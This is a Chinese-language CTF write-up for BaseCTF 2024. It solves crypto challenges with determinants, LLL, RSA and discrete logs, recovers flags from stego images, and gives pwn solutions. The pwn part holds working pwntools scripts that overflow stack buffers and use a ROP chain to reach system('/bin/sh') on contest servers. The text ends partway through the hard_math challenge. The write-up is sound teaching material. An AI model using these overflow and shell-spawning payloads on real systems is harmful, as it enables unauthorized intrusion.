[BaseCTF2024]sudopacman个人Writeup(包含部分Crypto, MISC与Pwn)
发布时间:
Week1(Crypto)
ez_math
该题主要考察对代数中行列式的掌握.
题目
task
import numpy as np
from Crypto.Util.number import *
a, b, c, d = [getPrime(128) for _ in range(4)]
point1 = a * d
point2 = b * c
matrix2 = [[0, a, b], [0, c, d]]
flag = b"vyctf{test_flag}"
flag = bytes_to_long(flag)
def randomArray():
upper = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
low = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
for i in range(3):
for j in range(i+1, 3):
upper[i][j] = getPrime(128)
low[j][i] = getPrime(128)
result = np.array(upper) @ np.array(low)
return result
A = np.array([[flag, 0, 0]] + matrix2)
B = randomArray()
MAT = A @ B
print(point1)
print(point2)
print(MAT)
'''
81311989977387451668874941430338257071014446363574678418784365496344582666849
33057017600009729208384496757075537085301614200117584995338336257846046305771
[[27946539127558634550260328842774768382284228855493793321977765592483052720891089914327074421994212991548713007103916346235907210700468874119
12746215308222919663581249923954804223696039526060889660432132715658881068248395657778457378460433022923383943453512377081482379817812509158
38950026103717954346582831819694411312667649197656828555477064282014137949941775913023870290529406517]
[15704422103650016650429304950255206186334814115692743710199465440122888440574451079743335027448732409013393593827085
21917323070132694922086886658852071097488099875542617384997994075892695260734651679923576537198873049431041157400883
66975198916854677961309171374284660865377281114011862647946805687039892721262]
[9298167017438631472676758380254209408658263280953282683670864101771109464884120301525964984820849011313871503174357
12976659003191821238978464224740222181158574655214270138537349794385602562218218519987157679149406447951468669396555
39654218502593047619465990745717713063319452352531140443027446816425464289936]]
'''
分析
我们已知存在一个矩阵A:
\[A=\begin{bmatrix} flag & 0 & 0 \\ 0 & a & b \\ 0 & c & d \end{bmatrix}\]其中 $a, b, c, d$ 为随机数, 我们明显可以将其看作一个分块矩阵:
\[A=\begin{bmatrix} flag & 0 \\ 0 & A_{abcd} \end{bmatrix}, \\ A_{abcd}=\begin{bmatrix} a & b \\ c & d \end{bmatrix}\]即对A求行列式有:
\[|A|=|flag|*|A_{abcd}|\]对于二阶矩阵我们可以计算:
\[|A_{abcd}|=a*d-b*c\]其中已给出point1
, point2
, 我们可以计算出矩阵$B$的行列式, 即只需要知道矩阵的行列式即可求出flag, 对于矩阵B有:
其中 B_{upper} 为主对角线为1的上三角矩阵, B_{low} 为主对角线为1的下三角矩阵, 稍微了解高等代数可以得知: \(|B|=1\)
又有:
\[MAT = A * B\]故有:
\[|MAT| = |A|\]我们可以通过以下方式计算flag:
\[flag = |flag| = \frac{|MAT|}{|A_{abcd}|}\]EXP
point1 = 81311989977387451668874941430338257071014446363574678418784365496344582666849
point2 = 33057017600009729208384496757075537085301614200117584995338336257846046305771
MAT = [
[27946539127558634550260328842774768382284228855493793321977765592483052720891089914327074421994212991548713007103916346235907210700468874119,
12746215308222919663581249923954804223696039526060889660432132715658881068248395657778457378460433022923383943453512377081482379817812509158,
38950026103717954346582831819694411312667649197656828555477064282014137949941775913023870290529406517],
[15704422103650016650429304950255206186334814115692743710199465440122888440574451079743335027448732409013393593827085,
21917323070132694922086886658852071097488099875542617384997994075892695260734651679923576537198873049431041157400883,
66975198916854677961309171374284660865377281114011862647946805687039892721262],
[9298167017438631472676758380254209408658263280953282683670864101771109464884120301525964984820849011313871503174357,
12976659003191821238978464224740222181158574655214270138537349794385602562218218519987157679149406447951468669396555,
39654218502593047619465990745717713063319452352531140443027446816425464289936
]
]
from sage.all import *
from Crypto.Util.number import *
print(long_to_bytes(det(matrix(MAT)) // (point1 - point2)))
# b"vyctf{You_know_algebra!!!}
mid_math
题目
task
import numpy as np
from Crypto.Util.number import *
a, b, c, d = [getPrime(128) for _ in range(4)]
point1 = a * d
point2 = b * c
matrix2 = [[0, a, b], [0, c, d]]
flag = b"flag{test_flag}"
flag = bytes_to_long(flag)
def randomArray():
upper = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
low = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
for i in range(3):
for j in range(i+1, 3):
upper[i][j] = getPrime(128)
low[j][i] = getPrime(128)
result = np.array(upper) @ np.array(low)
return result
A = np.array([[flag, 0, 0]] + matrix2)
B = randomArray()
C = randomArray()
MAT = C @ A @ B
print(point1)
print(point2)
print(MAT)
'''
65540596822333029826884315503808996273733737079814345540607878287618419734231
45151244176940366132774311848077675849486332018843894072137609985463616792271
[[9259505595451159514948336330303511539525155092949382077995385373332083424570340733825203563332256599256361679775371565817159463557158551820090084800254999338417057682355404780422980119717238594927467956675771042145306399815569005775907169857728757334979422594358
3700462282298785820527479428312072678870010244861115107206951164684911761755437333209293039456840068340334559453608012512177623936248784897843503284633804083281388001236742261832974291349480314135560368365574114042082002559069958228523318326290833422846224288247
20791012146351643571145217310876690226642338279942557085580439219377325884045305279931904540467264182713135410067252835618936836675270813727053937054168296298149405902638242278868020381541490973458957704137657413376043351193]
[3802535350808074374431476757195874789213113083310705049856269457737583463559458126494122484246497049005001474007088865512110432486291568737501434666990689483191924384489484665070592656641925905986397402822195880143437724155134584374613878027218950975919679551229
1519642544380087919293814751485424198320747098741960781639133554268321708273309194651985562222274023623071346914239982055028526526058064787882720065775210796950963778381575914964024929110539407721461321785325399699126116201001806816030960662346173275101476487421
8538097185709421082644083672229287227818939415260987123718318427750267353075860559170390896769087600458156859498331152566368881938040799840806164389020986990994328370205184734637870147251004626759120887684269603636183629300]
[17987668490992083132878642797176089621188858356259455169173987325310681186627844776077058221612169421636403546746899152917309634315569997105261046388995579843528014810244648968375990949478033964619008761814039733347955609163
7188579142941521685422767412932555782658469950638690886255638896617687421517941457682493542615460990114218059246938237257830976937359020731335958068934235967457123039874441635435388736524907036941379695243043923900290273902
40388963560266769813551191613694768219344365780650048155838802242681775019274045964917142477325170274191702615504062392461666558731638338001971723737440974198823443420018559746335727687]]
'''
分析
与ez_math相同, 只不过再加了以组C矩阵进行混淆, 无法再使用gcd或直接分解质数求解.
EXP
point1 = 65540596822333029826884315503808996273733737079814345540607878287618419734231
point2 = 45151244176940366132774311848077675849486332018843894072137609985463616792271
MAT = [[9259505595451159514948336330303511539525155092949382077995385373332083424570340733825203563332256599256361679775371565817159463557158551820090084800254999338417057682355404780422980119717238594927467956675771042145306399815569005775907169857728757334979422594358,
3700462282298785820527479428312072678870010244861115107206951164684911761755437333209293039456840068340334559453608012512177623936248784897843503284633804083281388001236742261832974291349480314135560368365574114042082002559069958228523318326290833422846224288247,
20791012146351643571145217310876690226642338279942557085580439219377325884045305279931904540467264182713135410067252835618936836675270813727053937054168296298149405902638242278868020381541490973458957704137657413376043351193],
[3802535350808074374431476757195874789213113083310705049856269457737583463559458126494122484246497049005001474007088865512110432486291568737501434666990689483191924384489484665070592656641925905986397402822195880143437724155134584374613878027218950975919679551229,
1519642544380087919293814751485424198320747098741960781639133554268321708273309194651985562222274023623071346914239982055028526526058064787882720065775210796950963778381575914964024929110539407721461321785325399699126116201001806816030960662346173275101476487421,
8538097185709421082644083672229287227818939415260987123718318427750267353075860559170390896769087600458156859498331152566368881938040799840806164389020986990994328370205184734637870147251004626759120887684269603636183629300],
[17987668490992083132878642797176089621188858356259455169173987325310681186627844776077058221612169421636403546746899152917309634315569997105261046388995579843528014810244648968375990949478033964619008761814039733347955609163,
7188579142941521685422767412932555782658469950638690886255638896617687421517941457682493542615460990114218059246938237257830976937359020731335958068934235967457123039874441635435388736524907036941379695243043923900290273902,
40388963560266769813551191613694768219344365780650048155838802242681775019274045964917142477325170274191702615504062392461666558731638338001971723737440974198823443420018559746335727687]]
from sage.all import *
from Crypto.Util.number import *
print(long_to_bytes(det(matrix(MAT)) // (point1 - point2)))
# b'BaseCTF{E439646E-1768-18B3-DC4B-483C40C5340C}'
Week1(Pwn)
签个到吧
分析
题目主要考察新生对pwn题连接的应用, 这里我们推荐使用VY-netcat
, 同样直接下载Gnu-netcat
或openbsd-netcat
使用方法相同.
打开容器创建实例, 例如challenge.basectf.fun:29866
.
netcat的地址如下:
- gitee: https://gitee.com/cryingn/vy-netcat
- github: https://github.com/cryingn/vy-netcat
找到发行版
/Releases
, 直接下载最新版本, 当前已支持linux与windows, 当然也可以考虑自行下载源码进行编译.
使用方式, 在下载位置输入:
./nc challenge.basectf.fun 29866
连接成功后, 输入以下代码拿到flag.
cat flag
echo
题目描述
binsh目录下只有echo? echo flag??
分析
使用方式同上, 本题在docker环境设置时去掉了其他指令, 只留下了bin/echo
, bin/sh
.
故可以考虑使用echo
直接拿到flag:
echo * # 查看文件
echo "$(<flag)" # 查看flag文件内容
拿到flag.
Ret2text
本题是简单的栈溢出类题目, 主要考察pwntools与反编译的理解.
反编译与分析
本题使用的反编译工具为retdec, 是一款终端下的反编译工具, 当前avast已停止维护, 有VYCMa继续接手维护.
在终端反编译task文件:
[root_cn@archlinux pwn]$ retdec task
...(反编译日志)
[root_cn@archlinux pwn]$ cat task.c | head -n 17 | tail -n +12
int main(int argc, char ** argv) {
// 0x401176
int64_t buf; // bp-40, 0x401176
read(0, &buf, 256);
return 0;
}
从task.c可以发现buf
到溢出位置为40, read()
函数的读取数却有256, 明显的栈溢出.
[root_cn@archlinux pwn]$ cat task.dsm | head -n 143 | tail -n +137
0x4011bb: 48 8d 05 58 0e 00 00 lea rax, [rip + 0xe58]
0x4011c2: 48 89 c7 mov rdi, rax
0x4011c5: b8 00 00 00 00 mov eax, 0
0x4011ca: e8 a1 fe ff ff call 0x401070 <system>
0x4011cf: 90 nop
0x4011d0: 5d pop rbp
0x4011d1: c3 ret
找到很明显的后门, 故只需要溢出后让地址指向后门地址, 可以拿到flag, 开始构造EXP.
EXP
from pwn import *
true_log = "\033[32m[True]\033[0m "
false_log = "\033[31m[False]\033[0m "
warn_log = "\033[33m[Warn]\033[0m "
choose_log = "\033[34m[Choose]\033[0m "
choose_true = {'yes','y','Y'}
the_io:str
def io(bin_file, url_port=""):
global the_io, the_elf
if url_port == "":
if ".py" in bin_file:
import subprocess
args = [1,2]
the_io = python_connect()
subprocess.call(['python', bin_file] + args)
else:
the_io = process(bin_file)
the_elf = ELF(bin_file)
else:
url, port = url_port.split(":")
the_io = remote(url, port)
try:
the_elf = ELF(bin_file)
except:
print(warn_log + "无法获取ELF.")
return the_io
pwn = lambda : gdb.attach(the_io)
r = lambda : the_io.recv()
rl = lambda : the_io.recvline()
ru = lambda load : the_io.recvuntil(load)
ra = lambda : the_io.recvall()
s = lambda data : the_io.send(data+b"\n")
sa = lambda load, data : the_io.sendafter(load, data+b"\n")
shell = lambda : the_io.interactive()
plt = lambda function : the_elf.plt[function]
log = lambda level, os="linux", arch="amd64": context(os='linux',arch='amd64', log_level="critical") if level else context(os='linux',arch='amd64', log_level="debug")
io("./task", "challenge.basectf.fun:49666")
log(True)
payload = b'a' * 40 + p64(0x4011bb)
s(payload)
shell()
我把她丢了
反编译与分析
[root_cn@archlinux pwn]$ cat task.c | head -n 44 | tail -n +39
int64_t vuln(void) {
// 0x401217
puts("I lost her, what should I do? Help me find her.");
int64_t buf; // bp-120, 0x401217
return read(0, &buf, 336);
}
同样在120位溢出, 但是可写入336位, 可以尽情制造.
[root_cn@archlinux pwn]$ cat task.dsm | head -n 159 | tail -n +150
; function: shell at 0x4011fd -- 0x401217
0x4011fd: f3 0f 1e fa endbr64
0x401201: 55 push rbp
0x401202: 48 89 e5 mov rbp, rsp
0x401205: 48 8d 05 04 0e 00 00 lea rax, [rip + 0xe04]
0x40120c: 48 89 c7 mov rdi, rax
0x40120f: e8 6c fe ff ff call 0x401080 <system>
0x401214: 90 nop
0x401215: 5d pop rbp
0x401216: c3 ret
虽然有system, 但是找不到/bin/sh, 拿到shell需要几个条件:
rdi指向
/bin/sh
rsi = 0
rdi = 0
rax = 0x3b
syscall
我们可以人工去进行构造, 找到几个关键部分: .text的/bin/sh
, 删除rdi的指令, 构造以下payload:
pop_rdi = p64(0x401196) #函数位置
binsh = p64(0x402008) #.text 上的'/bin/sh'位置
sh = p64(0x401084) #指向到<system>本身.
payload = b"a" * 120 + pop_rdi + binsh + sh
然后翻车了, 根本拿不到shell, 以下是原理(我是穷举出来的):
我们先用pop rdi ret把bin/sh字符串地址放在rdi然后在调用system函数即可.
缺个返还, 这下可以构造正确的EXP了.
EXP
from pwn import *
true_log = "\033[32m[True]\033[0m "
false_log = "\033[31m[False]\033[0m "
warn_log = "\033[33m[Warn]\033[0m "
choose_log = "\033[34m[Choose]\033[0m "
choose_true = {'yes','y','Y'}
the_io:str
context(os='linux',arch='amd64', log_level="debug")
def io(bin_file, url_port=""):
global the_io, the_elf
if url_port == "":
if ".py" in bin_file:
import subprocess
args = [1,2]
the_io = python_connect()
subprocess.call(['python', bin_file] + args)
else:
the_io = process(bin_file)
the_elf = ELF(bin_file)
else:
url, port = url_port.split(":")
the_io = remote(url, port)
try:
the_elf = ELF(bin_file)
except:
print(warn_log + "无法获取ELF.")
return the_io
pwn = lambda : gdb.attach(the_io)
r = lambda : the_io.recv()
rl = lambda : the_io.recvline()
ru = lambda load : the_io.recvuntil(load)
ra = lambda : the_io.recvall()
s = lambda data : the_io.send(data+b"\n")
sa = lambda load, data : the_io.sendafter(load, data+b"\n")
shell = lambda : the_io.interactive()
plt = lambda function : the_elf.plt[function]
log = lambda level, os="linux", arch="amd64": context(os='linux',arch='amd64', log_level="critical") if level else context(os='linux',arch='amd64', log_level="debug")
io("task", "challenge.basectf.fun:49666")
log(True)
#pwn()
pop_rdi = p64(0x401196) #函数位置
binsh = p64(0x402008) #.text 上的'/bin/sh'位置
ret = p64(0x401197) # ret指令, 和哪个函数无关
sh = p64(0x401084) #指向到<system>本身.
payload = b"a" * 120 + pop_rdi + binsh + ret + sh
sa(b"I lost her, what should I do? Help me find her.", payload)
shell()
Week2(Crypto)
mid_math2
题目
import numpy as np
from Crypto.Util.number import *
a, b, c = [getPrime(128) for _ in range(3)]
d, e, f, h, i, j = [getPrime(1024) for _ in range(6)]
A = [[a, b, c], [d, e, f], [h, i, j]]
flag = b"flag{test_flag}"
flag = bytes_to_long(flag)
def prod(myList):
result = 1
for i in myList:
result = result * i
return result
def randomArray():
upper = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
low = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
for i in range(3):
for j in range(i+1, 3):
upper[i][j] = getPrime(128)
low[j][i] = getPrime(128)
result = np.array(upper) @ np.array(low)
return result
e = getPrime(18)
N = getPrime(1024)
C = randomArray()
#MAT = C @ A @ B
MAT = C @ A
c = pow(flag, e, prod(A[0]))
print(MAT)
print(f'c = {c}')
print(f'e = {e}')
'''
[[9194428734244577957135736828947112370812209206819996917633266069359894211949655026549592464237531352518967649750275097282532736237822915630766535634248987628113137246739472264614337707439494149796414126558156060870508338278038269649101921703583149322486905552569052814106532234864028314925118581658029792157851338427975728108000711353532410024128431635933014226306706319591106081211872
7052600738698435126221697697810087514520765619736355003187836563546493264420232197860875416948961661231812045406188307561458872254314061097960625042149316957446344556490001927621879295417925720004568332344856366002394724202261454916368122811414228043610804718983599804179657247820737462743875143882925818085495573474169110616761320858675303922740882169073395416895304752909979711051264
13094262565727554986668133240216117564284263232131011542877585146452802164148464500319291219458081531317231044962383872061004846788004747813785963603455919882739054992075130196548494850105124430477756818974520035883861936342117869122455996838023977818945511119955390136020375974150407580576040034808588694313922810340598787633148909527275716235390356737099830131958338026891256778602432]
[7291452286171544741377496447735677778433522048452394999757158120018504601116506253897733192493798837108269469756414516913436198353934250444263790689101779479157541198872731006007031448329354826004420971505929629537584453480285628607579031078497417101681028600589030661495031531644755072500393418929237208836713910921969937998825721580514845395852889662758886414966066733340052235985735
5592919719754926663830816961667268104316637431189640788304536404157195458040686322901848820171568258023938724485177544141303597034389473064509506247034833050568643394732003598890104462382321956436508366359718039669456303596542945687737870352569084995858128262046585579724537002100295978230177579835256681774512205534970583421138287684468047290246482431883957170924203400422234299829407
10384135162743100269852365857770153822630076412853981379757028821332622753962517667857057209221058533163475030678127399042436975886694593504673386134198042731671320468065688239424934644173240507619471360908786669070898288638067852779718549009532013299792474712979659423962779677856135791013599792822988457540442172903145046394648862567656330868441373023488569784114231877910285319620037]
[34946383530632295853235791100380055176686898072752599942691162027311662041417740482507624946631032260410440329949488242706004902881977357811370156793240362927747354453547446315050117795844866771053429455608334265986953931753411938119703800489233043034369650346216548318254326462336573090313788936967898128977445514764945671848611612198443909056919
26805677375585831510259621878357023272222175103906204143689109861471123435549853025410319713500257027420994041712736040084303902812241806295302385126726161281240831030434347236854521776375408982352155894199700974681768432734155312616453345950508256035721377179651166114898547487082749355033867559583905997404388549346221139007108462958001461826337
49768956277664050500387501949373949828589012443212214016088015478826178759698946452495063308332332373728223252613132611904477061717762261927498754849913008747980442098787524359755695519989286304445175440218168145037681791003471134417445542856715034633656861298596197935068562189476201463465706711744838395255326376049859058504891392128431832044455]]
c = 11781599055433308033432930805524658061560499523533841161297213162869735414528038973998414585008473948613388691447093
e = 160907
'''
解析
这是什么? 格一下, 其实这次的出题思路和mid_math还是基本一致的, 不过数学概念不太一样, 顺便塞了rsa加密防暴力计算.
EXP
from sage.all import *
from Crypto.Util.number import *
MAT = [[9194428734244577957135736828947112370812209206819996917633266069359894211949655026549592464237531352518967649750275097282532736237822915630766535634248987628113137246739472264614337707439494149796414126558156060870508338278038269649101921703583149322486905552569052814106532234864028314925118581658029792157851338427975728108000711353532410024128431635933014226306706319591106081211872,
7052600738698435126221697697810087514520765619736355003187836563546493264420232197860875416948961661231812045406188307561458872254314061097960625042149316957446344556490001927621879295417925720004568332344856366002394724202261454916368122811414228043610804718983599804179657247820737462743875143882925818085495573474169110616761320858675303922740882169073395416895304752909979711051264,
13094262565727554986668133240216117564284263232131011542877585146452802164148464500319291219458081531317231044962383872061004846788004747813785963603455919882739054992075130196548494850105124430477756818974520035883861936342117869122455996838023977818945511119955390136020375974150407580576040034808588694313922810340598787633148909527275716235390356737099830131958338026891256778602432],
[7291452286171544741377496447735677778433522048452394999757158120018504601116506253897733192493798837108269469756414516913436198353934250444263790689101779479157541198872731006007031448329354826004420971505929629537584453480285628607579031078497417101681028600589030661495031531644755072500393418929237208836713910921969937998825721580514845395852889662758886414966066733340052235985735,
5592919719754926663830816961667268104316637431189640788304536404157195458040686322901848820171568258023938724485177544141303597034389473064509506247034833050568643394732003598890104462382321956436508366359718039669456303596542945687737870352569084995858128262046585579724537002100295978230177579835256681774512205534970583421138287684468047290246482431883957170924203400422234299829407,
10384135162743100269852365857770153822630076412853981379757028821332622753962517667857057209221058533163475030678127399042436975886694593504673386134198042731671320468065688239424934644173240507619471360908786669070898288638067852779718549009532013299792474712979659423962779677856135791013599792822988457540442172903145046394648862567656330868441373023488569784114231877910285319620037],
[34946383530632295853235791100380055176686898072752599942691162027311662041417740482507624946631032260410440329949488242706004902881977357811370156793240362927747354453547446315050117795844866771053429455608334265986953931753411938119703800489233043034369650346216548318254326462336573090313788936967898128977445514764945671848611612198443909056919,
26805677375585831510259621878357023272222175103906204143689109861471123435549853025410319713500257027420994041712736040084303902812241806295302385126726161281240831030434347236854521776375408982352155894199700974681768432734155312616453345950508256035721377179651166114898547487082749355033867559583905997404388549346221139007108462958001461826337,
49768956277664050500387501949373949828589012443212214016088015478826178759698946452495063308332332373728223252613132611904477061717762261927498754849913008747980442098787524359755695519989286304445175440218168145037681791003471134417445542856715034633656861298596197935068562189476201463465706711744838395255326376049859058504891392128431832044455]]
c = 11781599055433308033432930805524658061560499523533841161297213162869735414528038973998414585008473948613388691447093
e = 160907
def prod2(myList):
result = 1
for i in myList:
result = result * (abs(i) - 1)
return result
def prod(myList):
result = 1
for i in myList:
result = result * abs(i)
return result
MAT = matrix(MAT)
n = prod(MAT.LLL()[0])
phin = prod2(MAT.LLL()[0])
d = pow(e, -1, phin)
flag = long_to_bytes(pow(c, d, n))
print(flag)
# b'BaseCTF{8E2BD73F-9C10-F813-2CA4-B4B2DED4E961}'
Week2(MISC)
黑丝上的flag
题目
解析
原理是降低flag部分的透明度, 因为取原图的黑色部分, 以黑底显示时基本不影响图片, 以白底显示时flag部分变亮, 所以进行了部分加深.
不推荐直接肉眼读取flag, 标准方法是编程遍历像素的a, 重新用黑白写在新的图片上.
之前验题的时候证明也可以stegsolve秒, 不过最好还是学习一下自己处理, 从一个密码手角度上说, 什么都只知道找工具秒只会害了你(x), 不信的话下周整个你们秒不掉的.
EXP
from PIL import Image
import sys
def gen(flag):
img = Image.new('RGBA', (flag.width,flag.height))
for w in range(img.width):
for h in range(img.height):
pixelA = flag.getpixel((w,h))
if pixelA[3] != 255:
img.putpixel((w, h), (255,255,255,255))
return img
if __name__ == '__main__':
flag = Image.open("flag.png")
img = gen(flag)
img.save("EXP.png")
# 拿到图片:BaseCTF{Bl4ck_5ilk_1s_the_best}
Week3(crypto)
ez_log
题目
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b, getPrime
from Crypto.Cipher import AES
from random import randint
flag = b"flag{test_flag}"
pad = lambda x: x+b'\x00'*(16-len(x)%16)
def encrypt(KEY):
cipher= AES.new(KEY,AES.MODE_ECB)
encrypted =cipher.encrypt(flag)
return encrypted
def decrypt(KEY):
cipher= AES.new(KEY,AES.MODE_ECB)
decrypted =cipher.decrypt(enc)
return decrypted
flag = pad(flag)
x = randint(10 ** 7, 10 ** 8)
y = randint(10 ** 7, 10 ** 8)
n = getPrime(28)
z = pow(y, x, n)
enc = encrypt(pad(l2b(x)))
print(f'enc = {b2l(enc)}')
print(f'y = {y}')
print(f'n = {n}')
print(f'z = {z}')
'''
enc = 33416570913716503492297352041317858420349510954381249751537743898024527101872454706181188441210166165803904185550746
y = 82941012
n = 228338567
z = 51306718
'''
解析
这大概是最轻松的一次题目, 我希望能为后面做铺垫, 大家能循序渐进地过渡到DLP密码体系. 离散对数是密码学中比较重要的概念, 常用于ECC中代替除法, 本题返璞归真用于理解求离散对数.
由题目可知
\[z \equiv y^x \mod{n}\]现给出y, b, z, 欲求x, 在实数域中我们可以取对数进行计算:
\[x = \log_{y}{z}\]但是现在在模环中, 感兴趣可以尝试用可视化工具生成x, 发现点离散分布在环上, 我们将这种情况下的求解称为离散对数求解, 不想写了, 感兴趣可以看sagemath源码, 总之有exp如下:
EXP
from sage.all import *
from Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
pad = lambda x: x+b'\x00'*(16-len(x)%16)
def decrypt(KEY):
cipher= AES.new(KEY,AES.MODE_ECB)
decrypted =cipher.decrypt(enc)
return decrypted
enc = 33416570913716503492297352041317858420349510954381249751537743898024527101872454706181188441210166165803904185550746
y = 82941012
n = 228338567
z = 51306718
enc = l2b(enc)
G = GF(n)
z = G(z)
y = G(y)
x = discrete_log(z, y)
print(decrypt(pad(l2b(x))))
# BaseCTF{BF3DCONZ-67FE-ENZU-385S-CSNI13B2}
Week3(MISC)
白丝上的flag
题目
某出题人赠送大家flag时遭遇了信号干扰, 幸好我们在不知名小网站找到了写入flag前的图片, 尝试还原信息吧!
hint: flag是单色
解析
题目很简单, 问题就在题面上, 很多做法都可以完成, 本次图片加密借鉴了非feistel网络, 尽可能防止了工具直接秒, 有一说一2595x2294的图片真的很难丢失信息, 以至于上了加法, 先说说暴力解法:
已知flag为单色, 所以直接找到不同的颜色就行:
from PIL import Image
from random import randint
import sys
def ez_add(a,b,c,d):
global iv
h = (a+b+c+d+iv) % 256
e = b
f = c
g = d
iv = (b+c+d+iv) % 256
return e,f,g,h
def confuse(data):
r,g,b,a = data
for _ in range(8):
r,g,b,a = ez_add(r,g,b,a)
return r,g,b,a
def confuse_image(flag, data):
global iv
iv = flag.getpixel((1,1))[0]
for w in range(flag.width):
for h in range(flag.height):
pixel = confuse(flag.getpixel((w,h)))
if pixel == data.getpixel((w,h)):
old_pix = flag.getpixel((w-1,h))
old_iv = iv
else:
print(f'初始值: {data.getpixel((w,h))}')
print(f'iv = {old_iv}')
exit()
# 填入数值后执行第二部分
def confuse_image2(flag, data):
global iv
iv = flag.getpixel((1,1))[0]
img = Image.new('RGBA', (flag.width, flag.height))
for w in range(img.width):
for h in range(img.height):
pixel = confuse(flag.getpixel((w,h)))
if pixel == data.getpixel((w,h)):
old_pix = flag.getpixel((w-1,h))
old_iv = iv
else:
iv = old_iv
pixel = confuse((114,114,114,255))
img.putpixel((w,h), (114,114,114,255))
old_iv = iv
return img
if __name__ == '__main__':
iv = 0
flag = Image.open("./image.png")
data = Image.open("./en_image.png")
# 第一部分
confuse_image(flag, data)
# 第二部分
img = confuse_image2(flag, data)
img.save("./exp.png")
中间获取的代码使用vlang可以快速计算出来(没错, 我又来推销vlang了):
module main
fn main() {
println('获取flag数值ing...')
mut data := [0,0,0,255]
iv := 224
for a in 0..256 {
for b in 0..256 {
for c in 0..256 {
data = [a, b, c, 255]
data = ez_add(mut data, iv)
if data == [221, 187, 211, 197] {
print('flag_color = [${a},${b},${c},255]')
exit(1)
}
}
}
}
println('没有?')
}
fn ez_add(mut data []int,iv int) []int {
mut new_iv := iv
for _ in 0..8 {
d := (data[0]+data[1]+data[2]+data[3]+new_iv) % 256
a := data[1]
b := data[2]
c := data[3]
new_iv = (data[1]+data[2]+data[3]+new_iv) % 256
data = [a,b,c,d]
}
return data
}
/*
获取flag数值ing...
flag_color = [114,114,114,255]
real 0m7.423s
user 0m7.359s
sys 0m0.031s
*/
没错, flag是可以直接还原的, 只需要一点小小的编程能力即可. 另外也可以用xor暴力求解, 不过成图让我也很疑惑, 所以不作为标准解答:
from PIL import Image
from random import randint
import sys
def ez_add(a,b,c,d):
global iv
h = (a+b+c+d+iv) % 256
e = b
f = c
g = d
iv = (b+c+d+iv) % 256
return e,f,g,h
def confuse(data):
r,g,b,a = data
for _ in range(8):
r,g,b,a = ez_add(r,g,b,a)
return r,g,b,a
def confuse_image(flag, data):
global iv
iv = flag.getpixel((1,1))[0]
img = Image.new('RGBA', (flag.width, flag.height))
for w in range(img.width):
for h in range(img.height):
a,b,c,d = confuse(flag.getpixel((w,h)))
_a,_b,_c,_d = data.getpixel((w,h))
img.putpixel((w,h), (a^_a, b^_b, c^_c, d^_d))
return img
if __name__ == '__main__':
iv = 0
flag = Image.open("./image.png")
data = Image.open("./en_image.png")
img = confuse_image(flag, data)
img.save("./xor.png")
Week4(crypto)
hard_math
相比前面几题, hard_math可以算是一道相对来说比较正式的题目了, 其实一路下来做过ez_math, mid_math和mid_math2的话可以发现我给的题目应该都是循序渐进的, 只要顺着知识点进行学习, 再了解一点新的东西就可以解出来.
当然过程中也有师傅用了各种奇妙的解法, 不过不进行过多介绍, 这里算是对大家学习的这段时间以来进行一个总的回答.
题目
import numpy as np
from sage.all import *
from Crypto.Util.number import *
from re import sub
a, b, c = [getPrime(128) for _ in range(3)]
d, e, f, h, i, j = [getPrime(512) for _ in range(6)]
k, l, m = [getPrime(16) for _ in range(3)]
flag = b"flag{test_flag}"
n = len(flag) // 3
flag1 = bytes_to_long(flag[0:n])
flag2 = bytes_to_long(flag[n:2 * n])
flag3 = bytes_to_long(flag[2 * n:3 * n])
mat_flag = matrix([flag1, flag2, flag3])
def randomArray():
upper = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
low = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
for i in range(3):
for j in range(i+1, 3):
upper[i][j] = getPrime(512)
low[j][i] = getPrime(512)
result = np.array(upper) @ np.array(low)
return result
def m2l(data):
data = str(list(data)).replace(')',']').replace('(','[')
return data
def red(data):
new = sub(' +', ' ',str(data)).replace('[','').replace(']','').split(' ')
a,b,c = new[-3:]
a,b,c = count(a), count(b), count(c)
return matrix([a,b,c])
def count(data):
if '/' in data:
a,b = data.split('/')
a,b = int(a), int(b)
if (a%b) >= (b//2):
new = (a // b) + 1
else:
new = a // b
else:
new = int(data)
return new
U = matrix(randomArray())
V = matrix(
[
[a, b, c],
[d, e, f],
[h, i, j]
]
)
hint = matrix(
[
[a, 0, 0],
[d, e, 0],
[h, i, j]
]
)
W = U * V
r = matrix([k, l, m])
m = mat_flag * W + r
assert red(m * (V**(-1))) * (U**(-1)) == mat_flag
print(f'm = {m2l(m)}')
print(f'W = {m2l(W)}')
print(f'hint = {m2l(hint)}')
'''
m = [[515006066572991495094024845507453270170679530115722665716310857090383589987192995300820709326539907598036228187098433712764150545713781753928519780987397892019149396848734270629944247423448792576409939690690172467014798009304748201014701433638914639516136791514943818115581841161140822534657373450411916010383872732592192428514885246957165021151091735415512934159556555795946329029885077848428522565951230170422871166025743271004222458910631903580841388720000991656351499297814283656311006619217557, 493376106730590001882623910015696056521634040769204676097683956342407441946394989269289586462834183861958955979569597323143336033364245602994690452975858606246399021815786952339420761036368842534214572793543597526440971054273983326810410557306121368806745656400301215422355097611632518232563203326662080440857128552584680151063471311246027207795633032412326671372295196912352244705460776745840724990330443310670290805805114851081572848158034185286087423873359219385001802862944316920564177120955175, 575595002745228725017587011229401876567667455244528775277629732860064977911268125609189310020405051622085511289521885274600136190154096572813688714712133062373574937656504877555714680953922288909295838812970976406997779107157755042843766890628178252727891534572782306820699889220503146129501975505498358015202877369653016071954056645819683541482989501884449536172692222955049657627314349743452274317472117170325014443435968767431351069364374662221187031602748415650312412433222057689003403908801913]]
